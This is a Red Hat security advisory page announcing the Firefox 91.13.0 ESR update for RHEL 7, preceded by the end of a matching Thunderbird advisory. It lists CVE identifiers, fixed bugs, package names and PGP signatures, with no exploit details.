thunderbird-91.13.0-1.el8_2.src.rpm

aarch64:  
thunderbird-91.13.0-1.el8_2.aarch64.rpm  
thunderbird-debuginfo-91.13.0-1.el8_2.aarch64.rpm  
thunderbird-debugsource-91.13.0-1.el8_2.aarch64.rpm

ppc64le:  
thunderbird-91.13.0-1.el8_2.ppc64le.rpm  
thunderbird-debuginfo-91.13.0-1.el8_2.ppc64le.rpm  
thunderbird-debugsource-91.13.0-1.el8_2.ppc64le.rpm

x86_64:  
thunderbird-91.13.0-1.el8_2.x86_64.rpm  
thunderbird-debuginfo-91.13.0-1.el8_2.x86_64.rpm  
thunderbird-debugsource-91.13.0-1.el8_2.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-38472  
https://access.redhat.com/security/cve/CVE-2022-38473  
https://access.redhat.com/security/cve/CVE-2022-38476  
https://access.redhat.com/security/cve/CVE-2022-38477  
https://access.redhat.com/security/cve/CVE-2022-38478  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYwa9itzjgjWX9erEAQgzqA//UIEomuMcszc2TKyhbjld5uncoA8DEnPG  
C41AZJy/6PhvluFwEx2+i7MWdpLooqCohtcgm842bA5rYKSyBNHgYxSm9eoWO8se  
unpPuRULYqTyTYbciaciH3jtpMx7/qYNtFOHz7uakJhaG2l1eas9ix3WyECHZ61O  
FRgjEFpKpol/5iKzN8V4bEuuQ4f36AVyQY474CXKK4HwswOrDwoY9y6OLs1KIZKV  
ZlRXTVQdWqqOwEguAd8waPZZbTE8jSuPq0+Cz1G1r1L/OH8hdgVc9qP0NquSdGx4  
DYE0HOFa0cAdWBb2yyDtNGfrjhvywqLJAG73Myopo8YKDELvaUOVBIN0NQxkf+CE  
Qzdt9yR6Y+j30sfAx4HwNMqGyg6yjhTbvms3apzNcz1zevJA6CJd7JxlWximPeWf  
6ROc8BaumkRkYB+mxmGOFlwJO+zGJXNO6d3ddTB9arRb3VJILl3GR8+TWb3wXwvZ  
Zn4WX8aOI/b6HBBEUucz+PhoRc8zS8FqfJcpj7tRks8XwZ4Yws09D2eWJCLpCXsq  
DR+CRcOquxWio0zwAU9+SDIB5XY2I2j7FHNK0a4Vt2uJu7Opb8cmcwr76wwqBdbl  
FZeagxcBO72Xt/XdbKivilWJqqHehQmftLMD/5pf+ETDYm50NyOA8tW/1IbV62tV  
b6ZsEl1S/y0=dI37  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-6168-01

Red Hat Security Advisory 2022-6179-01 - Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. This update upgrades Firefox to version 91.13.0 ESR. Issues addressed include spoofing and use-after-free vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: firefox security update  
Advisory ID:       RHSA-2022:6179-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:6179  
Issue date:        2022-08-24  
CVE Names:         CVE-2022-38472 CVE-2022-38473 CVE-2022-38476  
                   CVE-2022-38477 CVE-2022-38478  
====================================================================  
1. Summary:

An update for firefox is now available for Red Hat Enterprise Linux 7.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux Client (v. 7) - x86_64  
Red Hat Enterprise Linux Client Optional (v. 7) - x86_64  
Red Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64  
Red Hat Enterprise Linux Server Optional (v. 7) - x86_64  
Red Hat Enterprise Linux Workstation (v. 7) - x86_64  
Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64

3. Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 91.13.0 ESR.

Security Fix(es):

* Mozilla: Address bar spoofing via XSLT error handling (CVE-2022-38472)

* Mozilla: Cross-origin XSLT Documents would have inherited the parent's  
permissions (CVE-2022-38473)

* Mozilla: Memory safety bugs fixed in Firefox 104 and Firefox ESR 102.2  
(CVE-2022-38477)

* Mozilla: Memory safety bugs fixed in Firefox 104, Firefox ESR 102.2, and  
Firefox ESR 91.13 (CVE-2022-38478)

* Mozilla: Data race and potential use-after-free in PK11_ChangePW  
(CVE-2022-38476)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

After installing the update, Firefox must be restarted for the changes to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2120673 - CVE-2022-38472 Mozilla: Address bar spoofing via XSLT error handling  
2120674 - CVE-2022-38473 Mozilla: Cross-origin XSLT Documents would have inherited the parent's permissions  
2120678 - CVE-2022-38476 Mozilla: Data race and potential use-after-free in PK11_ChangePW  
2120695 - CVE-2022-38477 Mozilla: Memory safety bugs fixed in Firefox 104 and Firefox ESR 102.2  
2120696 - CVE-2022-38478 Mozilla: Memory safety bugs fixed in Firefox 104, Firefox ESR 102.2, and Firefox ESR 91.13

6. Package List:

Red Hat Enterprise Linux Client (v. 7):

Source:  
firefox-91.13.0-1.el7_9.src.rpm

x86_64:  
firefox-91.13.0-1.el7_9.x86_64.rpm  
firefox-debuginfo-91.13.0-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux Client Optional (v. 7):

x86_64:  
firefox-91.13.0-1.el7_9.i686.rpm

Red Hat Enterprise Linux Server (v. 7):

Source:  
firefox-91.13.0-1.el7_9.src.rpm

ppc64:  
firefox-91.13.0-1.el7_9.ppc64.rpm  
firefox-debuginfo-91.13.0-1.el7_9.ppc64.rpm

ppc64le:  
firefox-91.13.0-1.el7_9.ppc64le.rpm  
firefox-debuginfo-91.13.0-1.el7_9.ppc64le.rpm

s390x:  
firefox-91.13.0-1.el7_9.s390x.rpm  
firefox-debuginfo-91.13.0-1.el7_9.s390x.rpm

x86_64:  
firefox-91.13.0-1.el7_9.x86_64.rpm  
firefox-debuginfo-91.13.0-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux Server Optional (v. 7):

x86_64:  
firefox-91.13.0-1.el7_9.i686.rpm

Red Hat Enterprise Linux Workstation (v. 7):

Source:  
firefox-91.13.0-1.el7_9.src.rpm

x86_64:  
firefox-91.13.0-1.el7_9.x86_64.rpm  
firefox-debuginfo-91.13.0-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux Workstation Optional (v. 7):

x86_64:  
firefox-91.13.0-1.el7_9.i686.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-38472  
https://access.redhat.com/security/cve/CVE-2022-38473  
https://access.redhat.com/security/cve/CVE-2022-38476  
https://access.redhat.com/security/cve/CVE-2022-38477  
https://access.redhat.com/security/cve/CVE-2022-38478  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYwa9pNzjgjWX9erEAQinNw/+NHSbkj9VrFukzXAWq7KU90onZSSTu9kh  
CMdgRVazfVBWicDqzN94kfU5TEUvx6gDxqF9jF1q7tKDP0qabS1IIVl7MosTNwY8  
ruGy0czv31Xu30mQT3TGUDvnk08k3mkNUbqfdPgsinMxiLH1HV/8soeuHHsGC7fP  
KCwPSGrMkSUoYhyvaVKEHSLhNWIWI79nbuMpG6akTrrXY3F1aq8Ebq3XkTesbEqS  
Zgeh2GrNXHQH6B4RG+JpzVulb7LR2LmAmYmQLQViroCybQLS51GcnHuIFZQ2TyFW  
4aXU2/MIbTLX9mgmKv/B5+2FER0DJHkOOEWig8hu2hf2CBjuqbV34+iQCCClSzeN  
3hivzFjbOmEUu/ya8y66WKUmQDJ78d4PT0P7seNxe9JEjvmNtd6f4mttvTp8adPN  
TWKKFvN3NEiYUC/y/0+FFmw6W24NrnBsovmLVOBr/WZYP17yxIAe3+XdfhtTQCW9  
KSJsydd9hm6BOQmjEIF6TupAzRdl9uCR0IGYy39+UnsUSjl+xSiD8CFgaOTRRxbi  
bWO/k63kGBgRC21hXawneSrTFkBrjK5DMW8QuA/0UFBrLjcKjVjl3wMvt/pRLX98  
uG5YGjMM5GU34OG8XbAfYD1eL9xva5eBt82wAGN6FQHIynXDszKwp50nW3pRf5oN  
wyiI5BM/0AgW+I  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Tag

#firefox